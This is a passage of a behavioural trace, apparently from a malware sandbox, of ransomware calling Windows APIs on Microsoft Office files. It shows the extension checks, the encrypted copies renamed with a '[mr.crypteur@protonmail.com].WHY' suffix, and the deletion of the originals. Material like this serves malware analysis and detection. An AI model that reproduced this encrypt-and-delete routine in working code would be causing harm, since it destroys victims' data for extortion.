(lpString1=".1cd", lpString2="eftx") returned -1 [0277.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.109] lstrlenW (lpString=".jpg") returned 4 [0277.109] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.109] lstrlenW (lpString=".doc") returned 4 [0277.110] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.110] lstrlenW (lpString=".docx") returned 5 [0277.110] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.110] lstrlenW (lpString=".pdf") returned 4 [0277.110] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.110] lstrlenW (lpString=".xls") returned 4 [0277.110] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.110] lstrlenW (lpString=".xlsx") returned 5 [0277.110] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.110] lstrlenW (lpString=".ppt") returned 4 [0277.110] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.111] lstrlenW (lpString=".zip") returned 4 [0277.111] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.111] lstrlenW (lpString=".rar") returned 4 [0277.111] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.111] lstrlenW (lpString=".bz2") returned 4 [0277.111] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.111] lstrlenW (lpString=".7z") returned 3 [0277.111] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.111] lstrlenW (lpString=".dbf") returned 4 [0277.111] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.112] lstrlenW (lpString=".1cd") returned 4 [0277.112] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.112] lstrlenW (lpString=".jpg") returned 4 [0277.327] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.332] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0277.332] lstrlenW (lpString="Slipstream.eftx") returned 15 [0277.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0277.641] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=27789) returned 1 [0277.641] CloseHandle (hObject=0x394) returned 1 [0277.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0277.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.949] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.949] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0278.003] GetLastError () returned 0x0 [0278.003] ReadFile (in: hFile=0x390, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0278.066] WriteFile (in: hFile=0x3b4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0278.070] ReadFile (in: hFile=0x390, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.070] WriteFile (in: hFile=0x3b4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0278.070] SetEndOfFile (hFile=0x3b4) returned 1 [0278.071] CloseHandle (hObject=0x3b4) returned 1 [0278.072] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.073] SetEndOfFile (hFile=0x390) returned 1 [0278.082] CloseHandle (hObject=0x390) returned 1 [0278.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0278.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.085] lstrlenW (lpString=".doc") returned 4 [0278.086] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.086] lstrlenW (lpString=".docx") returned 5 [0278.086] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.086] lstrlenW (lpString=".pdf") returned 4 [0278.086] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.086] lstrlenW (lpString=".xls") returned 4 [0278.086] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.086] lstrlenW (lpString=".xlsx") returned 5 [0278.086] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.086] lstrlenW (lpString=".ppt") returned 4 [0278.086] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.087] lstrlenW (lpString=".zip") returned 4 [0278.087] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.087] lstrlenW (lpString=".rar") returned 4 [0278.087] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.087] lstrlenW (lpString=".bz2") returned 4 [0278.087] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.087] lstrlenW (lpString=".7z") returned 3 [0278.087] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.087] lstrlenW (lpString=".dbf") returned 4 [0278.087] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.088] lstrlenW (lpString=".1cd") returned 4 [0278.088] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.088] lstrlenW (lpString=".jpg") returned 4 [0278.088] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.088] lstrlenW (lpString=".doc") returned 4 [0278.088] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.088] lstrlenW (lpString=".docx") returned 5 [0278.089] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.089] lstrlenW (lpString=".pdf") returned 4 [0278.089] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.089] lstrlenW (lpString=".xls") returned 4 [0278.089] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.089] lstrlenW (lpString=".xlsx") returned 5 [0278.089] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.089] lstrlenW (lpString=".ppt") returned 4 [0278.089] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.089] lstrlenW (lpString=".zip") returned 4 [0278.089] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.089] lstrlenW (lpString=".rar") returned 4 [0278.089] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.090] lstrlenW (lpString=".bz2") returned 4 [0278.090] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.090] lstrlenW (lpString=".7z") returned 3 [0278.090] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.090] lstrlenW (lpString=".dbf") returned 4 [0278.090] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.090] lstrlenW (lpString=".1cd") returned 4 [0278.090] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0278.090] lstrlenW (lpString=".jpg") returned 4 [0278.090] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.091] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0278.091] lstrlenW (lpString="Trek.eftx") returned 9 [0278.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0278.963] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=129924) returned 1 [0278.963] CloseHandle (hObject=0x38c) returned 1 [0278.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0279.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0279.217] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.217] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.218] GetLastError () returned 0x0 [0279.218] ReadFile (in: hFile=0x3bc, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0279.229] WriteFile (in: hFile=0x3a0, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0279.241] ReadFile (in: hFile=0x3bc, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0279.241] WriteFile (in: hFile=0x3a0, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0279.241] SetEndOfFile (hFile=0x3a0) returned 1 [0279.242] CloseHandle (hObject=0x3a0) returned 1 [0279.246] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.246] SetEndOfFile (hFile=0x3bc) returned 1 [0279.877] CloseHandle (hObject=0x3bc) returned 1 [0279.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0280.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0280.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.636] lstrlenW (lpString=".doc") returned 4 [0280.636] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0280.637] lstrlenW (lpString=".docx") returned 5 [0280.637] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0280.637] lstrlenW (lpString=".pdf") returned 4 [0280.637] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0280.637] lstrlenW (lpString=".xls") returned 4 [0280.637] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0280.637] lstrlenW (lpString=".xlsx") returned 5 [0280.637] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0280.637] lstrlenW (lpString=".ppt") returned 4 [0280.638] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0280.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.638] lstrlenW (lpString=".zip") returned 4 [0280.639] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0280.639] lstrlenW (lpString=".rar") returned 4 [0280.639] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0280.639] lstrlenW (lpString=".bz2") returned 4 [0280.639] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0280.639] lstrlenW (lpString=".7z") returned 3 [0280.639] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0280.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.639] lstrlenW (lpString=".dbf") returned 4 [0280.640] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0280.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.640] lstrlenW (lpString=".1cd") returned 4 [0280.641] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0280.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.641] lstrlenW (lpString=".jpg") returned 4 [0280.642] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0280.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.642] lstrlenW (lpString=".doc") returned 4 [0280.642] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0280.642] lstrlenW (lpString=".docx") returned 5 [0280.642] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0280.642] lstrlenW (lpString=".pdf") returned 4 [0280.643] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0280.643] lstrlenW (lpString=".xls") returned 4 [0280.643] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0280.643] lstrlenW (lpString=".xlsx") returned 5 [0280.643] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0280.643] lstrlenW (lpString=".ppt") returned 4 [0280.643] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0280.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.643] lstrlenW (lpString=".zip") returned 4 [0280.646] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0280.646] lstrlenW (lpString=".rar") returned 4 [0280.646] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0280.647] lstrlenW (lpString=".bz2") returned 4 [0280.647] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0280.647] lstrlenW (lpString=".7z") returned 3 [0280.647] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0280.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.647] lstrlenW (lpString=".dbf") returned 4 [0280.647] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0280.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.647] lstrlenW (lpString=".1cd") returned 4 [0280.647] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0280.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0280.648] lstrlenW (lpString=".jpg") returned 4 [0280.648] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0280.649] lstrcmpiW (lpString1=".exe", lpString2=".WHY") returned -1 [0280.649] lstrlenW (lpString="icq.exe") returned 7 [0280.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe" (normalized: "c:\\program files\\microsoft office\\icq.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0280.787] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=78336) returned 1 [0280.790] CloseHandle (hObject=0x390) returned 1 [0280.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe" (normalized: "c:\\program files\\microsoft office\\icq.exe")) returned 0x20 [0280.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\icq.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe" (normalized: "c:\\program files\\microsoft office\\icq.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.792] lstrlenW (lpString=".doc") returned 4 [0280.792] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0280.792] lstrlenW (lpString=".docx") returned 5 [0280.792] lstrcmpiW (lpString1=".docx", lpString2="q.exe") returned -1 [0280.792] lstrlenW (lpString=".pdf") returned 4 [0280.792] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0280.792] lstrlenW (lpString=".xls") returned 4 [0280.792] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0280.792] lstrlenW (lpString=".xlsx") returned 5 [0280.793] lstrcmpiW (lpString1=".xlsx", lpString2="q.exe") returned -1 [0280.793] lstrlenW (lpString=".ppt") returned 4 [0280.793] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0280.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.793] lstrlenW (lpString=".zip") returned 4 [0280.793] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0280.793] lstrlenW (lpString=".rar") returned 4 [0280.793] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0280.793] lstrlenW (lpString=".bz2") returned 4 [0280.793] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0280.793] lstrlenW (lpString=".7z") returned 3 [0280.794] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0280.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.794] lstrlenW (lpString=".dbf") returned 4 [0280.794] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0280.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.794] lstrlenW (lpString=".1cd") returned 4 [0280.794] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0280.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.794] lstrlenW (lpString=".jpg") returned 4 [0280.794] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0280.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.795] lstrlenW (lpString=".doc") returned 4 [0280.795] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0280.795] lstrlenW (lpString=".docx") returned 5 [0280.795] lstrcmpiW (lpString1=".docx", lpString2="q.exe") returned -1 [0280.795] lstrlenW (lpString=".pdf") returned 4 [0280.795] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0280.795] lstrlenW (lpString=".xls") returned 4 [0280.795] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0280.795] lstrlenW (lpString=".xlsx") returned 5 [0280.795] lstrcmpiW (lpString1=".xlsx", lpString2="q.exe") returned -1 [0280.795] lstrlenW (lpString=".ppt") returned 4 [0280.795] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0280.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.796] lstrlenW (lpString=".zip") returned 4 [0280.796] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0280.796] lstrlenW (lpString=".rar") returned 4 [0280.796] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0280.797] lstrlenW (lpString=".bz2") returned 4 [0280.798] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0280.798] lstrlenW (lpString=".7z") returned 3 [0280.798] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0280.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.798] lstrlenW (lpString=".dbf") returned 4 [0280.798] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0280.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.798] lstrlenW (lpString=".1cd") returned 4 [0280.798] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0280.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0280.798] lstrlenW (lpString=".jpg") returned 4 [0280.798] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0280.799] lstrcmpiW (lpString1=".MML", lpString2=".WHY") returned -1 [0280.799] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0280.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0280.805] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=312400) returned 1 [0280.805] CloseHandle (hObject=0x390) returned 1 [0280.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0280.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0280.809] SetFilePointerEx (in: hFile=0x390, 